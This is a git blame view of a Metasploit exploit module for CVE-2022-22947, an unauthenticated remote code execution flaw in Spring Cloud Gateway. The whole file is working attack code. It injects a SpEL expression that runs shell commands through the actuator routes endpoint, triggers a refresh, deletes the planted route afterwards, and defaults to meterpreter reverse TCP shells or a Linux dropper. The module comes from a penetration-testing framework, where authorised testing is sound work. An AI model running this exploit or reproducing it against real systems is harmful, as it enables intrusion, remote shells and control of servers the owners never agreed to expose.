Files
metasploit-gs/modules/exploits/linux/http/spring_cloud_gateway_rce.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

167 lines
4.6 KiB
Ruby
Raw Normal View History

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Spring Cloud Gateway Remote Code Execution',
'Description' => %q{
2022-10-11 18:17:52 -04:00
This module exploits an unauthenticated remote code execution vulnerability in Spring Cloud Gateway
versions = 3.1.0 and 3.0.0 to 3.0.6. The vulnerability can be exploited when the Gateway Actuator
endpoint is enabled, exposed and unsecured. An unauthenticated attacker can use SpEL
2022-10-11 15:46:04 -05:00
expressions to execute code and take control of the victim machine.
},
'License' => MSF_LICENSE,
'Author' => [
'Ayan Saha'
],
'References' => [
['CVE', '2022-22947' ],
['URL', 'https://github.com/crowsec-edtech/CVE-2022-22947'],
2022-10-11 15:46:04 -05:00
['URL', 'https://wya.pl/2022/02/26/cve-2022-22947-spel-casting-and-evil-beans/'],
['URL', 'https://tanzu.vmware.com/security/cve-2022-22947'],
['URL', 'https://spring.io/blog/2022/03/01/spring-cloud-gateway-cve-reports-published']
],
'Platform' => 'linux',
'Arch' => [ARCH_X64, ARCH_CMD],
'Targets' => [
[
'Unix Command',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_cmd,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/python/meterpreter/reverse_tcp',
'RPORT' => 9000
}
}
],
[
'Linux (Dropper)',
{
'Platform' => 'linux',
'Arch' => [ARCH_X64],
'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' },
'Type' => :linux_dropper
}
],
],
2022-10-11 15:46:04 -05:00
'DisclosureDate' => '2022-01-26',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [ CRASH_SAFE ],
'Reliability' => [ REPEATABLE_SESSION ],
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ]
}
)
)
end
def run_command(cmd)
route_name = Rex::Text.rand_text_alpha(8).downcase
uri = "/actuator/gateway/routes/#{route_name}"
2022-10-08 02:25:35 +05:30
value = '#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{"/bin/sh","-c", "' + cmd + '"}).getInputStream()))}'
2022-10-08 02:25:35 +05:30
data = {
'id' => route_name,
'filters' => [
{
'name' => 'AddResponseHeader',
'args' =>
{
'name' => 'Result',
'value' => value
}
}
],
2022-10-11 15:46:04 -05:00
'uri' => "http://#{Rex::Text.rand_text_alphanumeric(6..15)}.com"
2022-10-08 02:25:35 +05:30
}
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(uri),
'ctype' => 'application/json',
2022-10-08 02:25:35 +05:30
'data' => JSON.generate(data)
})
2022-10-08 02:25:35 +05:30
if res && res.code == 201 && res.message == 'Created'
return route_name
else
2022-10-11 15:46:04 -05:00
return nil
end
end
## Takes in the command and creates a new route with it on the server
def execute_command(cmd, _opts = {})
2022-10-11 15:46:04 -05:00
route_name = run_command(cmd)
if route_name
refresh
2022-10-11 15:46:04 -05:00
cleanup_route(route_name)
else
return false
end
return true
end
## Cleaning up the routes created
def cleanup_route(route_name)
uri = "/actuator/gateway/routes/#{route_name}"
res = send_request_cgi({
'method' => 'DELETE',
2022-10-11 18:17:52 -04:00
'uri' => normalize_uri(uri)
})
if res && res.code == 200
print_good('Route deleted')
return true
else
print_error("Couldn't delete route. Might require manual cleanup.")
return false
end
end
def check
2022-10-11 15:46:04 -05:00
print_status('Checking if server is vulnerable')
res = execute_command('whoami')
if res
return Exploit::CheckCode::Vulnerable
else
return Exploit::CheckCode::Safe
end
end
2022-10-11 15:46:04 -05:00
## Refresh the gateway to trigger the routes with commands created
def refresh
2022-10-11 15:46:04 -05:00
print_status('Triggering code execution using routes')
uri = '/actuator/gateway/refresh'
send_request_cgi({
'method' => 'POST',
2022-10-11 18:17:52 -04:00
'uri' => normalize_uri(uri)
})
end
def exploit
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
case target['Type']
when :unix_cmd
execute_command(payload.encoded)
when :linux_dropper
execute_cmdstager
end
end
2022-10-07 11:08:01 -04:00
end